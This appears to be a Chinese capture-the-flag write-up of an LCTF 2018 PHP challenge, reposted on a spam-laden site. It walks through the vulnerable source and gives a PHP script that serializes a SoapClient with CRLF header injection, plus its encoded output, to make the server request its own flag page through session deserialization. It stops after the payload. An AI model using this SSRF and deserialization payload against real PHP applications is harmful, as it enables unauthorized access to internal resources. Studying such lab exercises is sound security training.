当前位置: 首页 > wzjs >正文

评网网站建设seo站内优化最主要的是什么

评网网站建设,seo站内优化最主要的是什么,建设网站项目概况,福州网站设计进入靶场 分析代码 <?php // 此函数用于高亮显示当前文件&#xff08;即包含此代码的 PHP 文件&#xff09;的源代码&#xff0c;常用于调试或展示代码结构。 highlight_file(__FILE__);// 定义一个变量 $b&#xff0c;其值为字符串 implode&#xff0c;implode 是 PHP 中…

进入靶场

分析代码

<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {// 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。$_SESSION['name'] = $_GET['name'];
}// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果 

注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作 

还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。 

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

 only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

<?php$target ='http://127.0.0.1/flag.php';$b = new SoapClient(null,array('location'=>$target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车'uri' => "http://127.0.0.1/"));$se = serialize($b);echo "|" . urlencode($se);?>

 

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

 

 

 

 

 

 

http://www.dtcms.com/wzjs/8512.html

相关文章:

  • 用dw做的个人网站网络运营具体做什么
  • 做外贸的物流网站百度知道首页官网
  • 网站建设优選宙斯站长seo网站推广
  • 网站建设运行维护合同兰州压热搜
  • 个人网站设计与开发游戏推广员每天做什么
  • 西樵网站制作公司seo是做什么的
  • 自做网站打开速度慢国内最新消息新闻
  • 可以做软件的网站高端营销型网站
  • 做网页怎么在网站播放视频seo最新快速排名
  • 四川建设工程网站餐饮培训
  • 简单工程承包合同兰州seo优化公司
  • 郑州市人民政府官方网站精准营销
  • p2p网站建设报价百度首页优化
  • 云县网站建设找那家网络营销的方法包括哪些
  • 天津做不锈钢的网站市场调研报告范文
  • 安丘做网站的公司百度推广外包
  • 企业网站建设一般要素包括企业网络营销案例
  • synology做网站服务器seo快速排名工具
  • 织梦网站栏目是做什么用的seo自学教程
  • 文化共享工程网站建设情况百度引擎
  • espcms易思企业网站系统合肥百度推广优化排名
  • 郑州企业做网站h汉狮北京全网营销推广公司
  • 怎么做免费网站教程网站优化排名优化
  • 中咨工程咨询有限公司推广网站排名优化seo教程
  • 出口做谷歌网站视频推广方案模板
  • 公司找网站做宣传做账搜索排名优化
  • 北京专做粮油米面的配送网站网站模板及源码
  • 百度移动网站提交腾讯云1元域名
  • 上海住房和城乡建设委员会门户网站精准推广的渠道有哪些
  • 网站做弹窗广告影响关键词优化的因素